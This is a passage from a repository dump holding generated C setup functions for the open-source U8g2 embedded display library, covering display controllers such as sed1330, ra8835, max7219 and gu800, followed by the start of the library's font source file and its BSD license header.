u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 2 */\nvoid u8g2_Setup_sed1330_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 f */\nvoid u8g2_Setup_sed1330_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 */\n/* sed1330 1 */\nvoid u8g2_Setup_sed1330_256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_256x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 2 */\nvoid u8g2_Setup_sed1330_256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_256x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 f */\nvoid u8g2_Setup_sed1330_256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_256x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ra8835 */\n/* ra8835 1 */\nvoid u8g2_Setup_ra8835_nhd_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ra8835 2 */\nvoid u8g2_Setup_ra8835_nhd_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ra8835 f */\nvoid u8g2_Setup_ra8835_nhd_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ra8835 */\n/* ra8835 1 */\nvoid u8g2_Setup_ra8835_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_320x240, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ra8835 2 */\nvoid u8g2_Setup_ra8835_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_320x240, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ra8835 f */\nvoid u8g2_Setup_ra8835_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_320x240, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 */\n/* sed1330 1 */\nvoid u8g2_Setup_sed1330_320x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_320x200, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_25_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 2 */\nvoid u8g2_Setup_sed1330_320x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_320x200, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_25_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* sed1330 f */\nvoid u8g2_Setup_sed1330_320x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_320x200, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_25_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 */\n/* max7219 1 */\nvoid u8g2_Setup_max7219_64x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_64x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_1_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 2 */\nvoid u8g2_Setup_max7219_64x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_64x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_1_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 f */\nvoid u8g2_Setup_max7219_64x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_64x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_1_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 */\n/* max7219 1 */\nvoid u8g2_Setup_max7219_32x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_32x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_4_1_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 2 */\nvoid u8g2_Setup_max7219_32x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_32x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_4_1_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 f */\nvoid u8g2_Setup_max7219_32x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_32x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_4_1_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 */\n/* max7219 1 */\nvoid u8g2_Setup_max7219_8x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_8x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_1_1_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 2 */\nvoid u8g2_Setup_max7219_8x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_8x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_1_1_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* max7219 f */\nvoid u8g2_Setup_max7219_8x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_max7219_8x8, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_1_1_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* s1d15300 */\n/* s1d15300 1 */\nvoid u8g2_Setup_s1d15300_lm6023_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15300_lm6023, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15300 2 */\nvoid u8g2_Setup_s1d15300_lm6023_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15300_lm6023, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15300 f */\nvoid u8g2_Setup_s1d15300_lm6023_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15300_lm6023, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15e06 */\n/* s1d15e06 1 */\nvoid u8g2_Setup_s1d15e06_160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15e06_160100, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15e06 2 */\nvoid u8g2_Setup_s1d15e06_160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15e06_160100, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15e06 f */\nvoid u8g2_Setup_s1d15e06_160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15e06_160100, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15721 */\n/* s1d15721 1 */\nvoid u8g2_Setup_s1d15721_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15721_240x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15721 2 */\nvoid u8g2_Setup_s1d15721_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15721_240x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* s1d15721 f */\nvoid u8g2_Setup_s1d15721_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_s1d15721_240x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gu800 */\n/* gu800 1 */\nvoid u8g2_Setup_gu800_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gu800_128x64, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gu800 2 */\nvoid u8g2_Setup_gu800_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gu800_128x64, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gu800 f */\nvoid u8g2_Setup_gu800_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gu800_128x64, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gu800 */\n/* gu800 1 */\nvoid u8g2_Setup_gu800_160x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gu800_160x16, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_2_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gu800 2 */\nvoid u8g2_Setup_gu800_160x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gu800_160x16, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_2_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gu800 f */\nvoid u8g2_Setup_gu800_160x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gu800_160x16, u8x8_gu800_cad_110, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_2_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gp1287ai */\n/* gp1287ai 1 */\nvoid u8g2_Setup_gp1287ai_256x50_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gp1287ai_256x50, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_7_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gp1287ai 2 */\nvoid u8g2_Setup_gp1287ai_256x50_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gp1287ai_256x50, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_7_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gp1287ai f */\nvoid u8g2_Setup_gp1287ai_256x50_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gp1287ai_256x50, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_7_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gp1247ai */\n/* gp1247ai 1 */\nvoid u8g2_Setup_gp1247ai_253x63_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gp1247ai_253x63, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gp1247ai 2 */\nvoid u8g2_Setup_gp1247ai_253x63_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gp1247ai_253x63, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* gp1247ai f */\nvoid u8g2_Setup_gp1247ai_253x63_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_gp1247ai_253x63, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* a2printer */\n/* a2printer 1 */\nvoid u8g2_Setup_a2printer_384x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_a2printer_384x240, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* a2printer 2 */\nvoid u8g2_Setup_a2printer_384x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_a2printer_384x240, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* a2printer f */\nvoid u8g2_Setup_a2printer_384x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_a2printer_384x240, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* end of generated code */\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_font.c",
    "content": "/*\n\n  u8g2_font.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n/* size of the font data structure, there is no struct or class... */\n/* this is the size for the new font format */\n#define U8G2_FONT_DATA_STRUCT_SIZE 23\n\n/*\n  font data:\n\n  offset\tbytes\tdescription\n  0\t\t1\t\tglyph_cnt\t\tnumber of glyphs\n  